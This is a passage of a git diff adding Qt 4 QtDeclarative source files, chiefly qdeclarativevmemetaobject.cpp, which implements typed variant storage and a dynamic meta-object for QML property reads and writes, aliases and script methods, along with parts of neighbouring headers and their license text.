+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEVME_P_H
+#define QDECLARATIVEVME_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "qdeclarativeerror.h"
+#include "private/qbitfield_p.h"
+
+#include <QtCore/QString>
+#include <QtCore/QStack>
+#include <QtCore/QVarLengthArray>
+
+QT_BEGIN_NAMESPACE
+
+class QObject;
+class QDeclarativeInstruction;
+class QDeclarativeCompiledData;
+class QDeclarativeCompiledData;
+class QDeclarativeContextData;
+
+class QDeclarativeVMEObjectStack;
+class QDeclarativeVME
+{
+public:
+ QDeclarativeVME();
+
+ QObject *run(QDeclarativeContextData *, QDeclarativeCompiledData *,
+ int start = -1, int count = -1,
+ const QBitField & = QBitField());
+ void runDeferred(QObject *);
+
+ bool isError() const;
+ QList<QDeclarativeError> errors() const;
+
+private:
+ QObject *run(QDeclarativeVMEObjectStack &,
+ QDeclarativeContextData *, QDeclarativeCompiledData *,
+ int start, int count,
+ const QBitField &);
+ QList<QDeclarativeError> vmeErrors;
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVEVME_P_H
diff --git a/src/declarative/qml/qdeclarativevmemetaobject.cpp b/src/declarative/qml/qdeclarativevmemetaobject.cpp
new file mode 100644
index 00000000..f4cc8dbe
--- /dev/null
+++ b/src/declarative/qml/qdeclarativevmemetaobject.cpp
@@ -0,0 +1,903 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativevmemetaobject_p.h"
+
+#include "qdeclarative.h"
+#include "private/qdeclarativerefcount_p.h"
+#include "qdeclarativeexpression.h"
+#include "private/qdeclarativeexpression_p.h"
+#include "private/qdeclarativecontext_p.h"
+#include "private/qdeclarativebinding_p.h"
+
+Q_DECLARE_METATYPE(QScriptValue);
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeVMEVariant
+{
+public:
+ inline QDeclarativeVMEVariant();
+ inline ~QDeclarativeVMEVariant();
+
+ inline const void *dataPtr() const;
+ inline void *dataPtr();
+ inline int dataType() const;
+
+ inline QObject *asQObject();
+ inline const QVariant &asQVariant();
+ inline int asInt();
+ inline bool asBool();
+ inline double asDouble();
+ inline const QString &asQString();
+ inline const QUrl &asQUrl();
+ inline const QColor &asQColor();
+ inline const QTime &asQTime();
+ inline const QDate &asQDate();
+ inline const QDateTime &asQDateTime();
+ inline const QScriptValue &asQScriptValue();
+
+ inline void setValue(QObject *);
+ inline void setValue(const QVariant &);
+ inline void setValue(int);
+ inline void setValue(bool);
+ inline void setValue(double);
+ inline void setValue(const QString &);
+ inline void setValue(const QUrl &);
+ inline void setValue(const QColor &);
+ inline void setValue(const QTime &);
+ inline void setValue(const QDate &);
+ inline void setValue(const QDateTime &);
+ inline void setValue(const QScriptValue &);
+private:
+ int type;
+ void *data[4]; // Large enough to hold all types
+
+ inline void cleanup();
+};
+
+QDeclarativeVMEVariant::QDeclarativeVMEVariant()
+: type(QVariant::Invalid)
+{
+}
+
+QDeclarativeVMEVariant::~QDeclarativeVMEVariant()
+{
+ cleanup();
+}
+
+void QDeclarativeVMEVariant::cleanup()
+{
+ if (type == QVariant::Invalid) {
+ } else if (type == QMetaType::Int ||
+ type == QMetaType::Bool ||
+ type == QMetaType::Double) {
+ type = QVariant::Invalid;
+ } else if (type == QMetaType::QObjectStar) {
+ ((QDeclarativeGuard<QObject>*)dataPtr())->~QDeclarativeGuard<QObject>();
+ type = QVariant::Invalid;
+ } else if (type == QMetaType::QString) {
+ ((QString *)dataPtr())->~QString();
+ type = QVariant::Invalid;
+ } else if (type == QMetaType::QUrl) {
+ ((QUrl *)dataPtr())->~QUrl();
+ type = QVariant::Invalid;
+ } else if (type == QMetaType::QColor) {
+ ((QColor *)dataPtr())->~QColor();
+ type = QVariant::Invalid;
+ } else if (type == QMetaType::QTime) {
+ ((QTime *)dataPtr())->~QTime();
+ type = QVariant::Invalid;
+ } else if (type == QMetaType::QDate) {
+ ((QDate *)dataPtr())->~QDate();
+ type = QVariant::Invalid;
+ } else if (type == QMetaType::QDateTime) {
+ ((QDateTime *)dataPtr())->~QDateTime();
+ type = QVariant::Invalid;
+ } else if (type == qMetaTypeId<QVariant>()) {
+ ((QVariant *)dataPtr())->~QVariant();
+ type = QVariant::Invalid;
+ } else if (type == qMetaTypeId<QScriptValue>()) {
+ ((QScriptValue *)dataPtr())->~QScriptValue();
+ type = QVariant::Invalid;
+ }
+
+}
+
+int QDeclarativeVMEVariant::dataType() const
+{
+ return type;
+}
+
+const void *QDeclarativeVMEVariant::dataPtr() const
+{
+ return &data;
+}
+
+void *QDeclarativeVMEVariant::dataPtr()
+{
+ return &data;
+}
+
+QObject *QDeclarativeVMEVariant::asQObject()
+{
+ if (type != QMetaType::QObjectStar)
+ setValue((QObject *)0);
+
+ return *(QDeclarativeGuard<QObject> *)(dataPtr());
+}
+
+const QVariant &QDeclarativeVMEVariant::asQVariant()
+{
+ if (type != QMetaType::QVariant)
+ setValue(QVariant());
+
+ return *(QVariant *)(dataPtr());
+}
+
+int QDeclarativeVMEVariant::asInt()
+{
+ if (type != QMetaType::Int)
+ setValue(int(0));
+
+ return *(int *)(dataPtr());
+}
+
+bool QDeclarativeVMEVariant::asBool()
+{
+ if (type != QMetaType::Bool)
+ setValue(bool(false));
+
+ return *(bool *)(dataPtr());
+}
+
+double QDeclarativeVMEVariant::asDouble()
+{
+ if (type != QMetaType::Double)
+ setValue(double(0));
+
+ return *(double *)(dataPtr());
+}
+
+const QString &QDeclarativeVMEVariant::asQString()
+{
+ if (type != QMetaType::QString)
+ setValue(QString());
+
+ return *(QString *)(dataPtr());
+}
+
+const QUrl &QDeclarativeVMEVariant::asQUrl()
+{
+ if (type != QMetaType::QUrl)
+ setValue(QUrl());
+
+ return *(QUrl *)(dataPtr());
+}
+
+const QColor &QDeclarativeVMEVariant::asQColor()
+{
+ if (type != QMetaType::QColor)
+ setValue(QColor());
+
+ return *(QColor *)(dataPtr());
+}
+
+const QTime &QDeclarativeVMEVariant::asQTime()
+{
+ if (type != QMetaType::QTime)
+ setValue(QTime());
+
+ return *(QTime *)(dataPtr());
+}
+
+const QDate &QDeclarativeVMEVariant::asQDate()
+{
+ if (type != QMetaType::QDate)
+ setValue(QDate());
+
+ return *(QDate *)(dataPtr());
+}
+
+const QDateTime &QDeclarativeVMEVariant::asQDateTime()
+{
+ if (type != QMetaType::QDateTime)
+ setValue(QDateTime());
+
+ return *(QDateTime *)(dataPtr());
+}
+
+const QScriptValue &QDeclarativeVMEVariant::asQScriptValue()
+{
+ if (type != qMetaTypeId<QScriptValue>())
+ setValue(QScriptValue());
+
+ return *(QScriptValue *)(dataPtr());
+}
+
+void QDeclarativeVMEVariant::setValue(QObject *v)
+{
+ if (type != QMetaType::QObjectStar) {
+ cleanup();
+ type = QMetaType::QObjectStar;
+ new (dataPtr()) QDeclarativeGuard<QObject>();
+ }
+ *(QDeclarativeGuard<QObject>*)(dataPtr()) = v;
+}
+
+void QDeclarativeVMEVariant::setValue(const QVariant &v)
+{
+ if (type != qMetaTypeId<QVariant>()) {
+ cleanup();
+ type = qMetaTypeId<QVariant>();
+ new (dataPtr()) QVariant(v);
+ } else {
+ *(QVariant *)(dataPtr()) = v;
+ }
+}
+
+void QDeclarativeVMEVariant::setValue(int v)
+{
+ if (type != QMetaType::Int) {
+ cleanup();
+ type = QMetaType::Int;
+ }
+ *(int *)(dataPtr()) = v;
+}
+
+void QDeclarativeVMEVariant::setValue(bool v)
+{
+ if (type != QMetaType::Bool) {
+ cleanup();
+ type = QMetaType::Bool;
+ }
+ *(bool *)(dataPtr()) = v;
+}
+
+void QDeclarativeVMEVariant::setValue(double v)
+{
+ if (type != QMetaType::Double) {
+ cleanup();
+ type = QMetaType::Double;
+ }
+ *(double *)(dataPtr()) = v;
+}
+
+void QDeclarativeVMEVariant::setValue(const QString &v)
+{
+ if (type != QMetaType::QString) {
+ cleanup();
+ type = QMetaType::QString;
+ new (dataPtr()) QString(v);
+ } else {
+ *(QString *)(dataPtr()) = v;
+ }
+}
+
+void QDeclarativeVMEVariant::setValue(const QUrl &v)
+{
+ if (type != QMetaType::QUrl) {
+ cleanup();
+ type = QMetaType::QUrl;
+ new (dataPtr()) QUrl(v);
+ } else {
+ *(QUrl *)(dataPtr()) = v;
+ }
+}
+
+void QDeclarativeVMEVariant::setValue(const QColor &v)
+{
+ if (type != QMetaType::QColor) {
+ cleanup();
+ type = QMetaType::QColor;
+ new (dataPtr()) QColor(v);
+ } else {
+ *(QColor *)(dataPtr()) = v;
+ }
+}
+
+void QDeclarativeVMEVariant::setValue(const QTime &v)
+{
+ if (type != QMetaType::QTime) {
+ cleanup();
+ type = QMetaType::QTime;
+ new (dataPtr()) QTime(v);
+ } else {
+ *(QTime *)(dataPtr()) = v;
+ }
+}
+
+void QDeclarativeVMEVariant::setValue(const QDate &v)
+{
+ if (type != QMetaType::QDate) {
+ cleanup();
+ type = QMetaType::QDate;
+ new (dataPtr()) QDate(v);
+ } else {
+ *(QDate *)(dataPtr()) = v;
+ }
+}
+
+void QDeclarativeVMEVariant::setValue(const QDateTime &v)
+{
+ if (type != QMetaType::QDateTime) {
+ cleanup();
+ type = QMetaType::QDateTime;
+ new (dataPtr()) QDateTime(v);
+ } else {
+ *(QDateTime *)(dataPtr()) = v;
+ }
+}
+
+void QDeclarativeVMEVariant::setValue(const QScriptValue &v)
+{
+ if (type != qMetaTypeId<QScriptValue>()) {
+ cleanup();
+ type = qMetaTypeId<QScriptValue>();
+ new (dataPtr()) QScriptValue(v);
+ } else {
+ *(QScriptValue *)(dataPtr()) = v;
+ }
+}
+
+QDeclarativeVMEMetaObject::QDeclarativeVMEMetaObject(QObject *obj,
+ const QMetaObject *other,
+ const QDeclarativeVMEMetaData *meta,
+ QDeclarativeCompiledData *cdata)
+: object(obj), compiledData(cdata), ctxt(QDeclarativeData::get(obj, true)->outerContext),
+ metaData(meta), data(0), methods(0), parent(0)
+{
+ compiledData->addref();
+
+ *static_cast<QMetaObject *>(this) = *other;
+ this->d.superdata = obj->metaObject();
+
+ QObjectPrivate *op = QObjectPrivate::get(obj);
+ if (op->metaObject)
+ parent = static_cast<QAbstractDynamicMetaObject*>(op->metaObject);
+ op->metaObject = this;
+
+ propOffset = QAbstractDynamicMetaObject::propertyOffset();
+ methodOffset = QAbstractDynamicMetaObject::methodOffset();
+
+ data = new QDeclarativeVMEVariant[metaData->propertyCount];
+
+ aConnected.resize(metaData->aliasCount);
+ int list_type = qMetaTypeId<QDeclarativeListProperty<QObject> >();
+
+ // ### Optimize
+ for (int ii = 0; ii < metaData->propertyCount; ++ii) {
+ int t = (metaData->propertyData() + ii)->propertyType;
+ if (t == list_type) {
+ listProperties.append(List(methodOffset + ii));
+ data[ii].setValue(listProperties.count() - 1);
+ }
+ }
+}
+
+QDeclarativeVMEMetaObject::~QDeclarativeVMEMetaObject()
+{
+ compiledData->release();
+ delete parent;
+ delete [] data;
+ delete [] methods;
+}
+
+int QDeclarativeVMEMetaObject::metaCall(QMetaObject::Call c, int _id, void **a)
+{
+ int id = _id;
+ if(c == QMetaObject::WriteProperty) {
+ int flags = *reinterpret_cast<int*>(a[3]);
+ if (!(flags & QDeclarativePropertyPrivate::BypassInterceptor)
+ && !aInterceptors.isEmpty()
+ && aInterceptors.testBit(id)) {
+ QPair<int, QDeclarativePropertyValueInterceptor*> pair = interceptors.value(id);
+ int valueIndex = pair.first;
+ QDeclarativePropertyValueInterceptor *vi = pair.second;
+ int type = property(id).userType();
+
+ if (type != QVariant::Invalid) {
+ if (valueIndex != -1) {
+ QDeclarativeEnginePrivate *ep = ctxt?QDeclarativeEnginePrivate::get(ctxt->engine):0;
+ QDeclarativeValueType *valueType = 0;
+ if (ep) valueType = ep->valueTypes[type];
+ else valueType = QDeclarativeValueTypeFactory::valueType(type);
+ Q_ASSERT(valueType);
+
+ valueType->setValue(QVariant(type, a[0]));
+ QMetaProperty valueProp = valueType->metaObject()->property(valueIndex);
+ vi->write(valueProp.read(valueType));
+
+ if (!ep) delete valueType;
+ return -1;
+ } else {
+ vi->write(QVariant(type, a[0]));
+ return -1;
+ }
+ }
+ }
+ }
+ if(c == QMetaObject::ReadProperty || c == QMetaObject::WriteProperty) {
+ if (id >= propOffset) {
+ id -= propOffset;
+
+ if (id < metaData->propertyCount) {
+ int t = (metaData->propertyData() + id)->propertyType;
+ bool needActivate = false;
+
+ if (t == -1) {
+
+ if (c == QMetaObject::ReadProperty) {
+ *reinterpret_cast<QVariant *>(a[0]) = readVarPropertyAsVariant(id);
+ } else if (c == QMetaObject::WriteProperty) {
+ writeVarProperty(id, *reinterpret_cast<QVariant *>(a[0]));
+ }
+
+ } else {
+
+ if (c == QMetaObject::ReadProperty) {
+ switch(t) {
+ case QVariant::Int:
+ *reinterpret_cast<int *>(a[0]) = data[id].asInt();
+ break;
+ case QVariant::Bool:
+ *reinterpret_cast<bool *>(a[0]) = data[id].asBool();
+ break;
+ case QVariant::Double:
+ *reinterpret_cast<double *>(a[0]) = data[id].asDouble();
+ break;
+ case QVariant::String:
+ *reinterpret_cast<QString *>(a[0]) = data[id].asQString();
+ break;
+ case QVariant::Url:
+ *reinterpret_cast<QUrl *>(a[0]) = data[id].asQUrl();
+ break;
+ case QVariant::Color:
+ *reinterpret_cast<QColor *>(a[0]) = data[id].asQColor();
+ break;
+ case QVariant::Date:
+ *reinterpret_cast<QDate *>(a[0]) = data[id].asQDate();
+ break;
+ case QVariant::DateTime:
+ *reinterpret_cast<QDateTime *>(a[0]) = data[id].asQDateTime();
+ break;
+ case QMetaType::QObjectStar:
+ *reinterpret_cast<QObject **>(a[0]) = data[id].asQObject();
+ break;
+ default:
+ break;
+ }
+ if (t == qMetaTypeId<QDeclarativeListProperty<QObject> >()) {
+ int listIndex = data[id].asInt();
+ const List *list = &listProperties.at(listIndex);
+ *reinterpret_cast<QDeclarativeListProperty<QObject> *>(a[0]) =
+ QDeclarativeListProperty<QObject>(object, (void *)list,
+ list_append, list_count, list_at,
+ list_clear);
+ }
+
+ } else if (c == QMetaObject::WriteProperty) {
+
+ switch(t) {
+ case QVariant::Int:
+ needActivate = *reinterpret_cast<int *>(a[0]) != data[id].asInt();
+ data[id].setValue(*reinterpret_cast<int *>(a[0]));
+ break;
+ case QVariant::Bool:
+ needActivate = *reinterpret_cast<bool *>(a[0]) != data[id].asBool();
+ data[id].setValue(*reinterpret_cast<bool *>(a[0]));
+ break;
+ case QVariant::Double:
+ needActivate = *reinterpret_cast<double *>(a[0]) != data[id].asDouble();
+ data[id].setValue(*reinterpret_cast<double *>(a[0]));
+ break;
+ case QVariant::String:
+ needActivate = *reinterpret_cast<QString *>(a[0]) != data[id].asQString();
+ data[id].setValue(*reinterpret_cast<QString *>(a[0]));
+ break;
+ case QVariant::Url:
+ needActivate = *reinterpret_cast<QUrl *>(a[0]) != data[id].asQUrl();
+ data[id].setValue(*reinterpret_cast<QUrl *>(a[0]));
+ break;
+ case QVariant::Color:
+ needActivate = *reinterpret_cast<QColor *>(a[0]) != data[id].asQColor();
+ data[id].setValue(*reinterpret_cast<QColor *>(a[0]));
+ break;
+ case QVariant::Date:
+ needActivate = *reinterpret_cast<QDate *>(a[0]) != data[id].asQDate();
+ data[id].setValue(*reinterpret_cast<QDate *>(a[0]));
+ break;
+ case QVariant::DateTime:
+ needActivate = *reinterpret_cast<QDateTime *>(a[0]) != data[id].asQDateTime();
+ data[id].setValue(*reinterpret_cast<QDateTime *>(a[0]));
+ break;
+ case QMetaType::QObjectStar:
+ needActivate = *reinterpret_cast<QObject **>(a[0]) != data[id].asQObject();
+ data[id].setValue(*reinterpret_cast<QObject **>(a[0]));
+ break;
+ default:
+ break;
+ }
+ }
+
+ }
+
+ if (c == QMetaObject::WriteProperty && needActivate) {
+ activate(object, methodOffset + id, 0);
+ }
+
+ return -1;
+ }
+
+ id -= metaData->propertyCount;
+
+ if (id < metaData->aliasCount) {
+
+ QDeclarativeVMEMetaData::AliasData *d = metaData->aliasData() + id;
+
+ if (d->flags & QML_ALIAS_FLAG_PTR && c == QMetaObject::ReadProperty)
+ *reinterpret_cast<void **>(a[0]) = 0;
+
+ if (!ctxt) return -1;
+
+ QDeclarativeContext *context = ctxt->asQDeclarativeContext();
+ QDeclarativeContextPrivate *ctxtPriv = QDeclarativeContextPrivate::get(context);
+
+ QObject *target = ctxtPriv->data->idValues[d->contextIdx].data();
+ if (!target)
+ return -1;
+
+ connectAlias(id);
+
+ if (d->isObjectAlias()) {
+ *reinterpret_cast<QObject **>(a[0]) = target;
+ return -1;
+ }
+
+ // Remove binding (if any) on write
+ if(c == QMetaObject::WriteProperty) {
+ int flags = *reinterpret_cast<int*>(a[3]);
+ if (flags & QDeclarativePropertyPrivate::RemoveBindingOnAliasWrite) {
+ QDeclarativeData *targetData = QDeclarativeData::get(target);
+ if (targetData && targetData->hasBindingBit(d->propertyIndex())) {
+ QDeclarativeAbstractBinding *binding = QDeclarativePropertyPrivate::setBinding(target, d->propertyIndex(), d->isValueTypeAlias()?d->valueTypeIndex():-1, 0);
+ if (binding) binding->destroy();
+ }
+ }
+ }
+
+ if (d->isValueTypeAlias()) {
+ // Value type property
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(ctxt->engine);
+
+ QDeclarativeValueType *valueType = ep->valueTypes[d->valueType()];
+ Q_ASSERT(valueType);
+
+ valueType->read(target, d->propertyIndex());
+ int rv = QMetaObject::metacall(valueType, c, d->valueTypeIndex(), a);
+
+ if (c == QMetaObject::WriteProperty)
+ valueType->write(target, d->propertyIndex(), 0x00);
+
+ return rv;
+
+ } else {
+ return QMetaObject::metacall(target, c, d->propertyIndex(), a);
+ }
+
+ }
+ return -1;
+
+ }
+
+ } else if(c == QMetaObject::InvokeMetaMethod) {
+
+ if (id >= methodOffset) {
+
+ id -= methodOffset;
+ int plainSignals = metaData->signalCount + metaData->propertyCount +
+ metaData->aliasCount;
+ if (id < plainSignals) {
+ QMetaObject::activate(object, _id, a);
+ return -1;
+ }
+
+ id -= plainSignals;
+
+ if (id < metaData->methodCount) {
+ if (!ctxt->engine)
+ return -1; // We can't run the method
+
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(ctxt->engine);
+
+ QScriptValue function = method(id);
+
+ QScriptValueList args;
+ QDeclarativeVMEMetaData::MethodData *data = metaData->methodData() + id;
+ if (data->parameterCount) {
+ for (int ii = 0; ii < data->parameterCount; ++ii) {
+ args << ep->scriptValueFromVariant(*(QVariant *)a[ii + 1]);
+ }
+ }
+ QScriptValue rv = function.call(ep->objectClass->newQObject(object), args);
+
+ if (a[0]) *reinterpret_cast<QVariant *>(a[0]) = ep->scriptValueToVariant(rv);
+
+ return -1;
+ }
+ return -1;
+ }
+ }
+
+ if (parent)
+ return parent->metaCall(c, _id, a);
+ else
+ return object->qt_metacall(c, _id, a);
+}
+
+QScriptValue QDeclarativeVMEMetaObject::method(int index)
+{
+ if (!methods)
+ methods = new QScriptValue[metaData->methodCount];
+
+ if (!methods[index].isValid()) {
+ QDeclarativeVMEMetaData::MethodData *data = metaData->methodData() + index;
+
+ const QChar *body =
+ (const QChar *)(((const char*)metaData) + data->bodyOffset);
+
+ QString code = QString::fromRawData(body, data->bodyLength);
+
+ // XXX Use QScriptProgram
+ // XXX We should evaluate all methods in a single big script block to
+ // improve the call time between dynamic methods defined on the same
+ // object
+ methods[index] = QDeclarativeExpressionPrivate::evalInObjectScope(ctxt, object, code, ctxt->url.toString(),
+ data->lineNumber, 0);
+ }
+
+ return methods[index];
+}
+
+QScriptValue QDeclarativeVMEMetaObject::readVarProperty(int id)
+{
+ if (data[id].dataType() == qMetaTypeId<QScriptValue>())
+ return data[id].asQScriptValue();
+ else if (data[id].dataType() == QMetaType::QObjectStar)
+ return QDeclarativeEnginePrivate::get(ctxt->engine)->objectClass->newQObject(data[id].asQObject());
+ else
+ return QDeclarativeEnginePrivate::get(ctxt->engine)->scriptValueFromVariant(data[id].asQVariant());
+}
+
+QVariant QDeclarativeVMEMetaObject::readVarPropertyAsVariant(int id)
+{
+ if (data[id].dataType() == qMetaTypeId<QScriptValue>())
+ return QDeclarativeEnginePrivate::get(ctxt->engine)->scriptValueToVariant(data[id].asQScriptValue());
+ else if (data[id].dataType() == QMetaType::QObjectStar)
+ return QVariant::fromValue(data[id].asQObject());
+ else
+ return data[id].asQVariant();
+}
+
+void QDeclarativeVMEMetaObject::writeVarProperty(int id, const QScriptValue &value)
+{
+ data[id].setValue(value);
+ activate(object, methodOffset + id, 0);
+}
+
+void QDeclarativeVMEMetaObject::writeVarProperty(int id, const QVariant &value)
+{
+ bool needActivate = false;
+ if (value.userType() == QMetaType::QObjectStar) {
+ QObject *o = qvariant_cast<QObject *>(value);
+ needActivate = (data[id].dataType() != QMetaType::QObjectStar || data[id].asQObject() != o);
+ data[id].setValue(qvariant_cast<QObject *>(value));
+ } else {
+ needActivate = (data[id].dataType() != qMetaTypeId<QVariant>() ||
+ data[id].asQVariant().userType() != value.userType() ||
+ data[id].asQVariant() != value);
+ data[id].setValue(value);
+ }
+ if (needActivate)
+ activate(object, methodOffset + id, 0);
+}
+
+void QDeclarativeVMEMetaObject::listChanged(int id)
+{
+ activate(object, methodOffset + id, 0);
+}
+
+void QDeclarativeVMEMetaObject::list_append(QDeclarativeListProperty<QObject> *prop, QObject *o)
+{
+ List *list = static_cast<List *>(prop->data);
+ list->append(o);
+ QMetaObject::activate(prop->object, list->notifyIndex, 0);
+}
+
+int QDeclarativeVMEMetaObject::list_count(QDeclarativeListProperty<QObject> *prop)
+{
+ return static_cast<List *>(prop->data)->count();
+}
+
+QObject *QDeclarativeVMEMetaObject::list_at(QDeclarativeListProperty<QObject> *prop, int index)
+{
+ return static_cast<List *>(prop->data)->at(index);
+}
+
+void QDeclarativeVMEMetaObject::list_clear(QDeclarativeListProperty<QObject> *prop)
+{
+ List *list = static_cast<List *>(prop->data);
+ list->clear();
+ QMetaObject::activate(prop->object, list->notifyIndex, 0);
+}
+
+void QDeclarativeVMEMetaObject::registerInterceptor(int index, int valueIndex, QDeclarativePropertyValueInterceptor *interceptor)
+{
+ if (aInterceptors.isEmpty())
+ aInterceptors.resize(propertyCount() + metaData->propertyCount);
+ aInterceptors.setBit(index);
+ interceptors.insert(index, qMakePair(valueIndex, interceptor));
+}
+
+int QDeclarativeVMEMetaObject::vmeMethodLineNumber(int index)
+{
+ if (index < methodOffset) {
+ Q_ASSERT(parent);
+ return static_cast<QDeclarativeVMEMetaObject *>(parent)->vmeMethodLineNumber(index);
+ }
+
+ int plainSignals = metaData->signalCount + metaData->propertyCount + metaData->aliasCount;
+ Q_ASSERT(index >= (methodOffset + plainSignals) && index < (methodOffset + plainSignals + metaData->methodCount));
+
+ int rawIndex = index - methodOffset - plainSignals;
+
+ QDeclarativeVMEMetaData::MethodData *data = metaData->methodData() + rawIndex;
+ return data->lineNumber;
+}
+
+QScriptValue QDeclarativeVMEMetaObject::vmeMethod(int index)
+{
+ if (index < methodOffset) {
+ Q_ASSERT(parent);
+ return static_cast<QDeclarativeVMEMetaObject *>(parent)->vmeMethod(index);
+ }
+ int plainSignals = metaData->signalCount + metaData->propertyCount + metaData->aliasCount;
+ Q_ASSERT(index >= (methodOffset + plainSignals) && index < (methodOffset + plainSignals + metaData->methodCount));
+ return method(index - methodOffset - plainSignals);
+}
+
+void QDeclarativeVMEMetaObject::setVmeMethod(int index, const QScriptValue &value)
+{
+ if (index < methodOffset) {
+ Q_ASSERT(parent);
+ return static_cast<QDeclarativeVMEMetaObject *>(parent)->setVmeMethod(index, value);
+ }
+ int plainSignals = metaData->signalCount + metaData->propertyCount + metaData->aliasCount;
+ Q_ASSERT(index >= (methodOffset + plainSignals) && index < (methodOffset + plainSignals + metaData->methodCount));
+
+ if (!methods)
+ methods = new QScriptValue[metaData->methodCount];
+ methods[index - methodOffset - plainSignals] = value;
+}
+
+QScriptValue QDeclarativeVMEMetaObject::vmeProperty(int index)
+{
+ if (index < propOffset) {
+ Q_ASSERT(parent);
+ return static_cast<QDeclarativeVMEMetaObject *>(parent)->vmeProperty(index);
+ }
+ return readVarProperty(index - propOffset);
+}
+
+void QDeclarativeVMEMetaObject::setVMEProperty(int index, const QScriptValue &v)
+{
+ if (index < propOffset) {
+ Q_ASSERT(parent);
+ static_cast<QDeclarativeVMEMetaObject *>(parent)->setVMEProperty(index, v);
+ }
+ return writeVarProperty(index - propOffset, v);
+}
+
+bool QDeclarativeVMEMetaObject::aliasTarget(int index, QObject **target, int *coreIndex, int *valueTypeIndex) const
+{
+ Q_ASSERT(index >= propOffset + metaData->propertyCount);
+
+ *target = 0;
+ *coreIndex = -1;
+ *valueTypeIndex = -1;
+
+ if (!ctxt)
+ return false;
+
+ QDeclarativeVMEMetaData::AliasData *d = metaData->aliasData() + (index - propOffset - metaData->propertyCount);
+ QDeclarativeContext *context = ctxt->asQDeclarativeContext();
+ QDeclarativeContextPrivate *ctxtPriv = QDeclarativeContextPrivate::get(context);
+
+ *target = ctxtPriv->data->idValues[d->contextIdx].data();
+ if (!*target)
+ return false;
+
+ if (d->isObjectAlias()) {
+ } else if (d->isValueTypeAlias()) {
+ *coreIndex = d->propertyIndex();
+ *valueTypeIndex = d->valueTypeIndex();
+ } else {
+ *coreIndex = d->propertyIndex();
+ }
+
+ return true;
+}
+
+void QDeclarativeVMEMetaObject::connectAlias(int aliasId)
+{
+ if (!aConnected.testBit(aliasId)) {
+ aConnected.setBit(aliasId);
+
+ QDeclarativeContext *context = ctxt->asQDeclarativeContext();
+ QDeclarativeContextPrivate *ctxtPriv = QDeclarativeContextPrivate::get(context);
+
+ QDeclarativeVMEMetaData::AliasData *d = metaData->aliasData() + aliasId;
+
+ QObject *target = ctxtPriv->data->idValues[d->contextIdx].data();
+ if (!target)
+ return;
+
+ int sigIdx = methodOffset + aliasId + metaData->propertyCount;
+ QMetaObject::connect(context, d->contextIdx + ctxtPriv->notifyIndex, object, sigIdx);
+
+ if (!d->isObjectAlias()) {
+ QMetaProperty prop = target->metaObject()->property(d->propertyIndex());
+ if (prop.hasNotifySignal())
+ QDeclarativePropertyPrivate::connect(target, prop.notifySignalIndex(), object, sigIdx);
+ }
+ }
+}
+
+void QDeclarativeVMEMetaObject::connectAliasSignal(int index)
+{
+ int aliasId = (index - methodOffset) - metaData->propertyCount;
+ if (aliasId < 0 || aliasId >= metaData->aliasCount)
+ return;
+
+ connectAlias(aliasId);
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativevmemetaobject_p.h b/src/declarative/qml/qdeclarativevmemetaobject_p.h
new file mode 100644
index 00000000..3c6e4524
--- /dev/null
+++ b/src/declarative/qml/qdeclarativevmemetaobject_p.h
@@ -0,0 +1,197 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
